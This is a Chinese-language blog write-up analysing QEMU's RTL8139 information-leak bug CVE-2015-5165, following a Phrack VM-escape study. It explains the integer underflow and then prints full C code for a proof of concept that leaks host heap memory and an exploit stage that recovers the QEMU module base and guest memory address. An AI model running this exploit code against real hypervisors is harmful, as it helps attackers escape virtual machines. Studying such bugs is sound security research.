QEMU 信息泄露漏洞 CVE-2015-5165 分析及利用

QEMU 信息泄露漏洞 CVE-2015-5165 分析及利用
2020-6-30 08:13:37 Author: programlife.net(查看原文) 阅读量:5 收藏

参考 Phrack 文章 VM escape - QEMU Case Study [1] 对 QEMU 信息泄露漏洞 CVE-2015-5165 和堆溢出漏洞 CVE-2015-7504 进行调试分析并编写 Exploit 代码，本文主要分析其中的 RTL8139 网卡信息泄露漏洞 CVE-2015-5165。

在 VMware Workstation 中创建 Ubuntu 20.04 虚拟机，并为虚拟机的 CPU 开启虚拟化引擎相关选项，使之支持嵌套虚拟化，以便对 QEMU 进行调试分析。

QEMU 编译完成之后，需要创建一个用于调试漏洞的虚拟机。为了调试方便，这里安装 Ubuntu 20.04 Server 版本（比较新的 Ubuntu Server 没有 32 位的版本，但这里建议安装一个 32 位的系统，因为后面的 PoC 和 Exploit 都是针对 32 位环境编写的），相关命令如下所示 [3]：

和 Host 操作系统一样，Guest 操作系统中的每个进程都有自己的虚拟地址空间，这里称之为 Guest Virtual Address，即 GVA；通过进程自身的页表（Page Table），Guest 操作系统可以将 GVA 转换为对应的 GPA（Guest Physical Address）。

Guest 操作系统的 GPA，实际上是对应的 QEMU 进程中映射的虚拟内存，即 HVA（Host Virtual Address）；Host 操作系统同样通过对应进程的页表，最终将其转换为对应的 HPA（Host Physical Address）。

关于 Guest Virtual Address 到 Host Virtual Address 的转换，Phrack 的文章没怎么解释，在网上找到另一篇文章 [5] 解释的比较清楚（以 64 位系统为例）：

根据文档 [6] 可知，只有拥有 CAP_SYS_ADMIN 权限的进程才可以读取到 PFN，否则虽然可以打开 pagemap 文件，但是读取到的 PFN 将会是 0 。

在宿主机中使用 GDB 附加到 QEMU 进程，可以看到虚拟机中的物理地址实际上就是 QEMU 进程为虚拟机分配的内存所在的 Host Virtual Address 的偏移地址：

CVE-2015-5165 是 QEMU 在模拟 Realtek RTL8139 网卡时存在的一个漏洞，具体为文件 hw\net\rtl8139.c 中的函数 rtl8139_cplus_transmit_one 在发送数据时没有检查 IP 数据包头部的长度 hlen 与整个 IP 数据包的长度 ip->ip_len 之间的关系，导致在计算数据长度的时候存在整数溢出：

和 IP 数据包一样，TCP 报文头部的长度由 Header Length 字段指明，最大可以是 0b1111 * 4 = 60 字节，在 Options 字段为空的情况下头部长度为 20 字节。

这里尝试从 Ethernet Frame 中解析 IPv4 数据包，在计算 IP 数据包中的数据长度时，在进行减法运算前并没有比较两个操作数的大小关系，通过触发整数溢出使得 ip_data_len 的最大值可以是 0xFFFF 。

紧接着是发送数据包，如果是 TCP 数据（ IP_PROTO_TCP ）且数据量过大（设置了 CP_TX_LGSEN 标记），则会进行分片处理，即切分成多个 IP 数据包进行发送；此时 ip_data_len 将被用于计算 tcp_data_len 的值：

QEMU 模拟的 RTL8139 网卡在发送和接收数据时，内部代码分支的走向很大程度上依赖于网卡的状态，对应的结构体为 RTL8139State （位于文件 hw\net\rtl8139.c 中）：

RTL8139State 结构体中的许多字段实际上就是 RTL8139 网卡内部的寄存器，关于这些寄存器的描述，可以参考厂商 Realtek 提供的 Datasheet 手册 [8]，下图为 Phrack 文章 [1] 提供的介绍（这里为 RTL8139 网卡在 C+ 模式下的寄存器介绍）：

关于 Descriptor 的定义，同样可以参考厂商 Realtek 提供的 Datasheet 手册 [8]，下图为 Transmit Descriptor 的定义：

MMIO 将外设的内存和寄存器直接映射到系统的地址空间中（这部分空间通常是保留给外设专用的），这样 CPU 通过普通的汇编指令即可和外设进行交互；而 PMIO 则将外设的内存和寄存器映射到隔离的地址空间中（PMIO 地址空间的大小为 64KB），CPU 通过 in 和 out 指令和外设进行交互。

在 Linux 下可以使用 pciutils 中的 lspci 查看设备的 PMIO 地址区间 [9]，这里测试用的 Ubuntu Server 已经自带了 pciutils，只需要在启动时添加 RTL8139 网卡即可，启动命令如下：

这里最后一行的作用是把 Ubuntu Server 虚拟机的 22 端口转发到主机的 2222 端口，方便主机通过 SSH 访问虚拟机（VNC Viewer 无法复制粘贴），在主机中执行以下命令即可连接虚拟机：

通过结构体 RTL8139State 的成员 bar_io 的交叉引用可以定位到函数 pci_rtl8139_realize ，这里对 PMIO 和 MMIO 进行了初始化操作：

static void pci_rtl8139_realize(PCIDevice *dev, Error **errp)
{
    RTL8139State *s = RTL8139(dev);
    DeviceState *d = DEVICE(dev);
    uint8_t *pci_conf;

    pci_conf = dev->config;
    pci_conf[PCI_INTERRUPT_PIN] = 1;    /* interrupt pin A */
    /* TODO: start of capability list, but no capability
     * list bit in status register, and offset 0xdc seems unused. */
    pci_conf[PCI_CAPABILITY_LIST] = 0xdc;

    memory_region_init_io(&s->bar_io, OBJECT(s), &rtl8139_io_ops, s,
                          "rtl8139", 0x100);
    memory_region_init_io(&s->bar_mem, OBJECT(s), &rtl8139_mmio_ops, s,
                          "rtl8139", 0x100);
    pci_register_bar(dev, 0, PCI_BASE_ADDRESS_SPACE_IO, &s->bar_io);
    pci_register_bar(dev, 1, PCI_BASE_ADDRESS_SPACE_MEMORY, &s->bar_mem);
    // ......
}

当往 TxPoll 写入数据时，可以触发 C+ TxPoll normal priority transmission ，即调用函数 rtl8139_cplus_transmit ，定义如下：

弄清楚漏洞的原理之后，编写 PoC 就比较简单了！对 Linux 和硬件接触不多的初学者（比如笔者自己），建议尝试理解每一行代码的作用，遇到不懂的概念就 Google 一下，代码不 Work 就 Debug 一下，在这个过程中可以学到很多新的知识，这也正是分析该漏洞的出发点。

(I) 在构造数据包时，Ethernet Frame 的源 MAC 地址、目标 MAC 地址需要填充为 QEMU 虚拟机 RTL8139 网卡的 MAC 地址，通过 ifconfig -a 命令可以查看本机所有网卡的数据；笔者一开始使用的 ifconfig 命令，结果偏偏没有打印 RTL8139 网卡的信息，导致填充了错误的 MAC 地址，通过调试 QEMU 进程才发现 MAC 地址不一致；

(II) Phrack 文章 [1] 提供的 Exploit 代码中 rtl8139_tx_desc 是栈上的局部变量，实际测试时发现获取不到在内存中的物理地址（Guest Physical Address），改为从堆上动态申请内存即可；调试发现是笔者自己实现的获取物理内存地址的代码有问题，因为栈的地址很高，转换成有符号数是一个负数，所以在调用 fseek 的时候需要处理好符号问题，否则 fseek 会失败；

调试发现 Phrack 文章 [1] 末尾给出的代码存在一个 Bug，而这个 Bug 居然没有人发现，笔者搜索了国内相关的技术文章，发现都照搬了这个 Bug 。其他人没有发现这里的问题，可能是由于分析环境的不同所造成的：

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <sys/io.h>

// 页面相关参数
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

// Ethernet Frame 大小
// DST(6) + SRC(6) + Length/Type(2) + PayloadMTU(1500)
#define RTL8139_BUFFER_SIZE 1514

// RTL8139 网卡 PMIO 地址
#define RTL8139_PORT 0xc000

// Rx ownership flag
#define CP_RX_OWN (1<<31)
// w0 end of ring flag
#define CP_RX_EOR (1<<30)
// Rx buffer size mask 表示 0 ~ 12 位为 buffer size
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)

// Tx ownership flag
#define CP_TX_OWN (1<<31)
// Tx end of ring flag
#define CP_TX_EOR (1<<30)
// last segment of received packet flag
#define CP_TX_LS (1<<28)
// large send packet flag
#define CP_TX_LGSEN (1<<27)
// IP checksum offload flag
#define CP_TX_IPCS (1<<18)
// TCP checksum offload flag
#define CP_TX_TCPCS (1<<16)

// RTL8139 网卡寄存器偏移地址
enum RTL8139_registers 
{
    TxAddr0      = 0x20,    // Tx descriptors address
    ChipCmd      = 0x37,
    TxConfig     = 0x40,
    RxConfig     = 0x44,
    TxPoll       = 0xD9,    // tell chip to check Tx descriptors for work
    CpCmd        = 0xE0,    // C+ Command register (C+ mode only)
    // 虽然名字写的 RxRingAddr, 但实际上是 Rx descriptor 的地址
    RxRingAddrLO = 0xE4,    // 64-bit start addr of Rx descriptor
    RxRingAddrHI = 0xE8,    // 64-bit start addr of Rx descriptor
};

enum RTL_8139_tx_config_bits 
{
    TxLoopBack = (1 << 18) | (1 << 17), // enable loopback test mode
};

enum RTL_8139_rx_mode_bits 
{
    AcceptErr       = 0x20,
    AcceptRunt      = 0x10,
    AcceptBroadcast = 0x08,
    AcceptMulticast = 0x04,
    AcceptMyPhys    = 0x02,
    AcceptAllPhys   = 0x01,
};

enum RTL_8139_CplusCmdBits 
{
    CPlusRxVLAN   = 0x0040, /* enable receive VLAN detagging */
    CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
    CPlusRxEnb    = 0x0002,
    CPlusTxEnb    = 0x0001,
};

enum RT8139_ChipCmdBits 
{
    CmdReset    = 0x10,
    CmdRxEnb    = 0x08,
    CmdTxEnb    = 0x04,
    RxBufEmpty  = 0x01,
};

enum RTL8139_TxPollBits 
{
    CPlus = 0x40,
};

// RTL8139 Rx / Tx descriptor
struct rtl8139_desc 
{
    uint32_t dw0;
    uint32_t dw1;
    uint32_t buf_lo;
    uint32_t buf_hi;
};

// RTL8139 Rx / Tx ring
struct rtl8139_ring 
{
    struct rtl8139_desc* desc;
    void* buffer;
};

uint8_t rtl8139_packet[] = 
{
    // Ethernet Frame Header 数据
    // DST MAC 52:54:00:12:34:57
    0x52, 0x54, 0x00, 0x12, 0x34, 0x57, 
    // SRC MAC 52:54:00:12:34:57
    0x52, 0x54, 0x00, 0x12, 0x34, 0x57, 
    // Length / Type: IPv4
    0x08, 0x00, 
    
    // Ethernet Frame Payload 数据, 即 IPv4 数据包
    // Version & IHL(Internet Header Length)
    (0x04 << 4) | 0x05,    // 0x05 * 4 = 20 bytes
    0x00,
    // Total Length = 0x13 = 19 bytes
    0x00, 0x13,     // 19 - 20 = -1 = 0xFFFF, trigger vulnerability
    0xde, 0xad,     // Identification
    0x40, 0x00,     // Flags & Fragment Offset
    0x40,           // TTL
    0x06,           // Protocol: TCP
    0xde, 0xad,     // Header checksum
    0x7f, 0x00, 0x00, 0x01, // Source IP: 127.0.0.1
    0x7f, 0x00, 0x00, 0x01, // Destination IP: 127.0.0.1
    
    // IP Packet Payload 数据, 即 TCP 数据包
    0xde, 0xad,     // Source Port
    0xbe, 0xef,     // Destination Port
    0x00, 0x00, 0x00, 0x00, // Sequence Number
    0x00, 0x00, 0x00, 0x00, // Acknowledgement Number
    0x50,           // 01010000, Header Length = 5 * 4 = 20
    0x10,           // 00010000, ACK
    0xde, 0xad,     // Window Size
    0xde, 0xad,     // TCP checksum
    0x00, 0x00      // Urgent Pointer
};

uint64_t get_physical_pfn(void* addr) 
{
    uint64_t pfn = -1;
    FILE* fp = fopen("/proc/self/pagemap", "rb");
    if (!fp) 
    {
        return pfn;
    }
    
    if (!fseek(fp, (unsigned long)addr / PAGE_SIZE * 8, SEEK_SET)) 
    {
        fread(&pfn, sizeof(pfn), 1, fp);
        if (pfn & PFN_PRESENT) 
        {
            pfn &= PFN_PFN;
        }
    }
    fclose(fp);
    return pfn;
}

uint64_t gva_to_gpa(void* addr) 
{
    uint64_t pfn = get_physical_pfn(addr);
    return pfn * PAGE_SIZE + (uint64_t)addr % PAGE_SIZE;
}

void rtl8139_desc_config_rx(rtl8139_ring* ring, rtl8139_desc* desc, size_t nb) 
{
    size_t buffer_size = RTL8139_BUFFER_SIZE + 4;
    for (size_t i = 0; i < nb; ++i) 
    {
        memset(&desc[i], 0, sizeof(desc[i]));
        ring[i].desc = &desc[i];
        
        ring[i].buffer = aligned_alloc(PAGE_SIZE, buffer_size);
        memset(ring[i].buffer, 0, buffer_size);
        
        // descriptor owned by NIC 准备接收数据
        ring[i].desc->dw0 |= CP_RX_OWN;
        if (i == nb - 1) 
        {
            ring[i].desc->dw0 |= CP_RX_EOR; // End of Ring
        }
        ring[i].desc->dw0 &= ~CP_RX_BUFFER_SIZE_MASK;
        ring[i].desc->dw0 |= buffer_size;   // buffer_size
        ring[i].desc->buf_lo = (uint32_t)gva_to_gpa(ring[i].buffer);
    }
    
    // Rx descriptors address
    outl((uint32_t)gva_to_gpa(desc), RTL8139_PORT + RxRingAddrLO);
    outl(0, RTL8139_PORT + RxRingAddrHI);
}

void rtl8139_desc_config_tx(rtl8139_desc* desc, void* buffer) 
{
    memset(desc, 0, sizeof(rtl8139_desc));
    desc->dw0 |= CP_TX_OWN |    // descriptor owned by NIC 准备发送数据
                 CP_TX_EOR |
                 CP_TX_LS |
                 CP_TX_LGSEN |
                 CP_TX_IPCS |
                 CP_TX_TCPCS;
    desc->dw0 += RTL8139_BUFFER_SIZE;
    desc->buf_lo = (uint32_t)gva_to_gpa(buffer);
    outl((uint32_t)gva_to_gpa(desc), RTL8139_PORT + TxAddr0);
    outl(0, RTL8139_PORT + TxAddr0 + 4);
}

void rtl8139_card_config() 
{
    // 触发漏洞需要设置的一些参数
    outl(TxLoopBack, RTL8139_PORT + TxConfig);
    outl(AcceptMyPhys, RTL8139_PORT + RxConfig);
    outw(CPlusRxEnb | CPlusTxEnb, RTL8139_PORT + CpCmd);
    outb(CmdRxEnb | CmdTxEnb, RTL8139_PORT + ChipCmd);
}

void rtl8139_packet_send(void* buffer, void* packet, size_t len) 
{
    if (len <= RTL8139_BUFFER_SIZE) 
    {
        memcpy(buffer, packet, len);
        outb(CPlus, RTL8139_PORT + TxPoll);
    }
}

void xxd(uint8_t* ptr, size_t size) 
{
    for (size_t i = 0, j = 0; i < size; ++i, ++j) 
    {
        if (i % 16 == 0) 
        {
            j = 0;
            printf("\n0x%08x: ", ptr + i);
        }
        printf("%02x ", ptr[i]);
        if (j == 7) 
        {
            printf("- ");
        }
    }
    printf("\n");
}

int main(int argc, char** argv) 
{
    // 44 * RTL8139_BUFFER_SIZE = 44 * 1514 = 66616
    // 可以收完 65535 字节数据
    size_t rtl8139_rx_nb = 44;
    rtl8139_ring* rtl8139_rx_ring = (rtl8139_ring*)aligned_alloc(
        PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_ring));
    rtl8139_desc* rtl8139_rx_desc = (rtl8139_desc*)aligned_alloc(
        PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_desc));
    rtl8139_desc* rtl8139_tx_desc = (rtl8139_desc*)aligned_alloc(
        PAGE_SIZE, sizeof(struct rtl8139_desc));
    void* rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
    
    // change I/O privilege level
    iopl(3);
    
    // initialize Rx ring, Rx descriptor, Tx descriptor
    rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc, rtl8139_rx_nb);
    rtl8139_desc_config_tx(rtl8139_tx_desc, rtl8139_tx_buffer);
    rtl8139_card_config();
    rtl8139_packet_send(rtl8139_tx_buffer, rtl8139_packet, 
                        sizeof(rtl8139_packet));
    sleep(2);
    
    // print leaked data
    for (size_t i = 0; i < rtl8139_rx_nb; ++i) 
    {
        // RTL8139_BUFFER_SIZE 之后 4 字节数据为 Checksum
        // 不打印也无所谓了
        xxd((uint8_t*)rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
    }
    
    // TODO: free heap blocks
    
    return 0;
}

Phrack 文章 [1] 漏洞利用的思路为：在泄露的数据中搜索保存了 ObjectProperty 对象的堆块（可能是已经被释放的堆块），通过读取 ObjectProperty 对象中保存的函数指针来泄露模块 qemu-system-x86_64 的基地址。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <sys/io.h>
#include <inttypes.h>

// 页面相关参数
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

// Ethernet Frame 大小
// DST(6) + SRC(6) + Length/Type(2) + PayloadMTU(1500)
#define RTL8139_BUFFER_SIZE 1514

// RTL8139 网卡 PMIO 地址
#define RTL8139_PORT 0xc000

// Rx ownership flag
#define CP_RX_OWN (1<<31)
// w0 end of ring flag
#define CP_RX_EOR (1<<30)
// Rx buffer size mask 表示 0 ~ 12 位为 buffer size
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)

// Tx ownership flag
#define CP_TX_OWN (1<<31)
// Tx end of ring flag
#define CP_TX_EOR (1<<30)
// last segment of received packet flag
#define CP_TX_LS (1<<28)
// large send packet flag
#define CP_TX_LGSEN (1<<27)
// IP checksum offload flag
#define CP_TX_IPCS (1<<18)
// TCP checksum offload flag
#define CP_TX_TCPCS (1<<16)

#define CHUNK_COUNT 0x2000
#define CHUNK_SIZE_MASK ~7ull

// RTL8139 网卡寄存器偏移地址
enum RTL8139_registers 
{
    TxAddr0      = 0x20,    // Tx descriptors address
    ChipCmd      = 0x37,
    TxConfig     = 0x40,
    RxConfig     = 0x44,
    TxPoll       = 0xD9,    // tell chip to check Tx descriptors for work
    CpCmd        = 0xE0,    // C+ Command register (C+ mode only)
    // 虽然名字写的 RxRingAddr, 但实际上是 Rx descriptor 的地址
    RxRingAddrLO = 0xE4,    // 64-bit start addr of Rx descriptor
    RxRingAddrHI = 0xE8,    // 64-bit start addr of Rx descriptor
};

enum RTL_8139_tx_config_bits 
{
    TxLoopBack = (1 << 18) | (1 << 17), // enable loopback test mode
};

enum RTL_8139_rx_mode_bits 
{
    AcceptErr       = 0x20,
    AcceptRunt      = 0x10,
    AcceptBroadcast = 0x08,
    AcceptMulticast = 0x04,
    AcceptMyPhys    = 0x02,
    AcceptAllPhys   = 0x01,
};

enum RTL_8139_CplusCmdBits 
{
    CPlusRxVLAN   = 0x0040, /* enable receive VLAN detagging */
    CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
    CPlusRxEnb    = 0x0002,
    CPlusTxEnb    = 0x0001,
};

enum RT8139_ChipCmdBits 
{
    CmdReset    = 0x10,
    CmdRxEnb    = 0x08,
    CmdTxEnb    = 0x04,
    RxBufEmpty  = 0x01,
};

enum RTL8139_TxPollBits 
{
    CPlus = 0x40,
};

// RTL8139 Rx / Tx descriptor
struct rtl8139_desc 
{
    uint32_t dw0;
    uint32_t dw1;
    uint32_t buf_lo;
    uint32_t buf_hi;
};

// RTL8139 Rx / Tx ring
struct rtl8139_ring 
{
    struct rtl8139_desc* desc;
    void* buffer;
};

uint8_t rtl8139_packet[] = 
{
    // Ethernet Frame Header 数据
    // DST MAC 52:54:00:12:34:57
    0x52, 0x54, 0x00, 0x12, 0x34, 0x57, 
    // SRC MAC 52:54:00:12:34:57
    0x52, 0x54, 0x00, 0x12, 0x34, 0x57, 
    // Length / Type: IPv4
    0x08, 0x00, 
    
    // Ethernet Frame Payload 数据, 即 IPv4 数据包
    // Version & IHL(Internet Header Length)
    (0x04 << 4) | 0x05,    // 0x05 * 4 = 20 bytes
    0x00,
    // Total Length = 0x13 = 19 bytes
    0x00, 0x13,     // 19 - 20 = -1 = 0xFFFF, trigger vulnerability
    0xde, 0xad,     // Identification
    0x40, 0x00,     // Flags & Fragment Offset
    0x40,           // TTL
    0x06,           // Protocol: TCP
    0xde, 0xad,     // Header checksum
    0x7f, 0x00, 0x00, 0x01, // Source IP: 127.0.0.1
    0x7f, 0x00, 0x00, 0x01, // Destination IP: 127.0.0.1
    
    // IP Packet Payload 数据, 即 TCP 数据包
    0xde, 0xad,     // Source Port
    0xbe, 0xef,     // Destination Port
    0x00, 0x00, 0x00, 0x00, // Sequence Number
    0x00, 0x00, 0x00, 0x00, // Acknowledgement Number
    0x50,           // 01010000, Header Length = 5 * 4 = 20
    0x10,           // 00010000, ACK
    0xde, 0xad,     // Window Size
    0xde, 0xad,     // TCP checksum
    0x00, 0x00      // Urgent Pointer
};

uint64_t get_physical_pfn(void* addr) 
{
    uint64_t pfn = -1;
    FILE* fp = fopen("/proc/self/pagemap", "rb");
    if (!fp) 
    {
        return pfn;
    }
    
    if (!fseek(fp, (unsigned long)addr / PAGE_SIZE * 8, SEEK_SET)) 
    {
        fread(&pfn, sizeof(pfn), 1, fp);
        if (pfn & PFN_PRESENT) 
        {
            pfn &= PFN_PFN;
        }
    }
    fclose(fp);
    return pfn;
}

uint64_t gva_to_gpa(void* addr) 
{
    uint64_t pfn = get_physical_pfn(addr);
    return pfn * PAGE_SIZE + (uint64_t)addr % PAGE_SIZE;
}

void rtl8139_desc_config_rx(rtl8139_ring* ring, rtl8139_desc* desc, size_t nb) 
{
    size_t buffer_size = RTL8139_BUFFER_SIZE + 4;
    for (size_t i = 0; i < nb; ++i) 
    {
        memset(&desc[i], 0, sizeof(desc[i]));
        ring[i].desc = &desc[i];
        
        ring[i].buffer = aligned_alloc(PAGE_SIZE, buffer_size);
        memset(ring[i].buffer, 0, buffer_size);
        
        // descriptor owned by NIC 准备接收数据
        ring[i].desc->dw0 |= CP_RX_OWN;
        if (i == nb - 1) 
        {
            ring[i].desc->dw0 |= CP_RX_EOR; // End of Ring
        }
        ring[i].desc->dw0 &= ~CP_RX_BUFFER_SIZE_MASK;
        ring[i].desc->dw0 |= buffer_size;   // buffer_size
        ring[i].desc->buf_lo = (uint32_t)gva_to_gpa(ring[i].buffer);
    }
    
    // Rx descriptors address
    outl((uint32_t)gva_to_gpa(desc), RTL8139_PORT + RxRingAddrLO);
    outl(0, RTL8139_PORT + RxRingAddrHI);
}

void rtl8139_desc_config_tx(rtl8139_desc* desc, void* buffer) 
{
    memset(desc, 0, sizeof(rtl8139_desc));
    desc->dw0 |= CP_TX_OWN |    // descriptor owned by NIC 准备发送数据
                 CP_TX_EOR |
                 CP_TX_LS |
                 CP_TX_LGSEN |
                 CP_TX_IPCS |
                 CP_TX_TCPCS;
    desc->dw0 += RTL8139_BUFFER_SIZE;
    desc->buf_lo = (uint32_t)gva_to_gpa(buffer);
    outl((uint32_t)gva_to_gpa(desc), RTL8139_PORT + TxAddr0);
    outl(0, RTL8139_PORT + TxAddr0 + 4);
}

void rtl8139_card_config() 
{
    // 触发漏洞需要设置的一些参数
    outl(TxLoopBack, RTL8139_PORT + TxConfig);
    outl(AcceptMyPhys, RTL8139_PORT + RxConfig);
    outw(CPlusRxEnb | CPlusTxEnb, RTL8139_PORT + CpCmd);
    outb(CmdRxEnb | CmdTxEnb, RTL8139_PORT + ChipCmd);
}

void rtl8139_packet_send(void* buffer, void* packet, size_t len) 
{
    if (len <= RTL8139_BUFFER_SIZE) 
    {
        memcpy(buffer, packet, len);
        outb(CPlus, RTL8139_PORT + TxPoll);
    }
}

void xxd(uint8_t* ptr, size_t size) 
{
    for (size_t i = 0, j = 0; i < size; ++i, ++j) 
    {
        if (i % 16 == 0) 
        {
            j = 0;
            printf("\n0x%08x: ", ptr + i);
        }
        printf("%02x ", ptr[i]);
        if (j == 7) 
        {
            printf("- ");
        }
    }
    printf("\n");
}

size_t scan_leaked_chunks(rtl8139_ring* ring, size_t ring_count,
                          size_t chunk_size, void** chunks, size_t chunk_count) 
{
    size_t count = 0;
    for (size_t i = 0; i < ring_count; ++i) 
    {
        // Ethernet Frame Header: 14 +
        // IP Header: 20 +
        // TCP Header: 20 = 54
        uint8_t* ptr = (uint8_t*)ring[i].buffer + 56;
        uint8_t* end = (uint8_t*)ring[i].buffer + RTL8139_BUFFER_SIZE / 4 * 4;
        while (ptr < end) 
        {
            uint64_t size = *(uint64_t*)ptr & CHUNK_SIZE_MASK;
            if (size == chunk_size) 
            {
                chunks[count++] = (void*)(ptr + 8);
            }
            ptr += 4;
            if (count > chunk_count) 
            {
                return count;
            }
        }
    }
    return count;
}

uint64_t leak_module_base_addr(void** chunks, size_t count) 
{
    const uint64_t property_get_bool_offset = 0x377F66;
    const uint64_t mask = 0x00000FFF;
    for (size_t i = 0; i < count; ++i) 
    {
        uint64_t* ptr = (uint64_t*)chunks[i] + 3;
        if ((*ptr & mask) == (property_get_bool_offset & mask)) 
        {
            printf("property_get_bool: 0x%" PRIx64 "\n", *ptr);
            return *ptr - property_get_bool_offset;
        }
    }
    return -1;
}

uint64_t leak_physical_memory_addr(rtl8139_ring* ring, size_t ring_count) 
{
    const uint64_t mask = 0xffff000000ull;
    static unsigned short array[0x10000];
    size_t index = 0;
    memset(array, 0, sizeof(array));
    
    for (size_t i = 0; i < ring_count; ++i) 
    {
        uint8_t* ptr = (uint8_t*)ring[i].buffer + 56;
        uint8_t* end = (uint8_t*)ring[i].buffer + RTL8139_BUFFER_SIZE / 4 * 4;
        while (ptr < end - 8) 
        {
            uint64_t value = *(uint64_t*)ptr;
            if (((value >> 40) & 0xff) == 0x7f) 
            {
                value = (value & mask) >> 24;
                array[value]++;
                if (array[value] > array[index]) 
                {
                    index = value;
                }
            }
            ptr += 4;
        }
    }
    
    uint64_t memory_size = 0x80000000;
    return (((uint64_t)index | 0x7f0000) << 24) - memory_size;
}

int main(int argc, char** argv) 
{
    // 44 * RTL8139_BUFFER_SIZE = 44 * 1514 = 66616
    // 可以收完 65535 字节数据
    size_t rtl8139_rx_nb = 44;
    rtl8139_ring* rtl8139_rx_ring = (rtl8139_ring*)aligned_alloc(
        PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_ring));
    rtl8139_desc* rtl8139_rx_desc = (rtl8139_desc*)aligned_alloc(
        PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_desc));
    rtl8139_desc* rtl8139_tx_desc = (rtl8139_desc*)aligned_alloc(
        PAGE_SIZE, sizeof(struct rtl8139_desc));
    void* rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
    
    // change I/O privilege level
    iopl(3);
    
    // initialize Rx ring, Rx descriptor, Tx descriptor
    rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc, rtl8139_rx_nb);
    rtl8139_desc_config_tx(rtl8139_tx_desc, rtl8139_tx_buffer);
    rtl8139_card_config();
    rtl8139_packet_send(rtl8139_tx_buffer, rtl8139_packet, 
                        sizeof(rtl8139_packet));
    sleep(2);
    
    // print leaked data
    for (size_t i = 0; i < rtl8139_rx_nb; ++i) 
    {
        // RTL8139_BUFFER_SIZE 之后 4 字节数据为 Checksum
        // 不打印也无所谓了
        xxd((uint8_t*)rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
    }
    
    // exploit
    void* chunks[CHUNK_COUNT] = { 0 };
    size_t chunk_count = scan_leaked_chunks(rtl8139_rx_ring, rtl8139_rx_nb, 
                                            0x60, chunks, CHUNK_COUNT);
    uint64_t module_addr = leak_module_base_addr(chunks, chunk_count);
    printf("qemu-system-x86_64: 0x%" PRIx64 "\n", module_addr);
    uint64_t physical_memory_addr = leak_physical_memory_addr(
        rtl8139_rx_ring, rtl8139_rx_nb);
    printf("physical memory address: 0x%" PRIx64 "\n", physical_memory_addr);
    
    // TODO: free heap blocks
    
    return 0;
}

第一次分析 QEMU 的漏洞，整体感觉还挺有意思的，CVE-2015-5165 这个漏洞本身简单易懂，如果了解网卡基本工作原理的话，Exploit 编写也不是很难。

[7] TCP/IP Illustrated, Volum 1, The protocols, Second Edition, Kevin R. Fall, W. Richard Stevens

文章来源: https://programlife.net/2020/06/30/cve-2015-5165-qemu-rtl8139-vulnerability-analysis/
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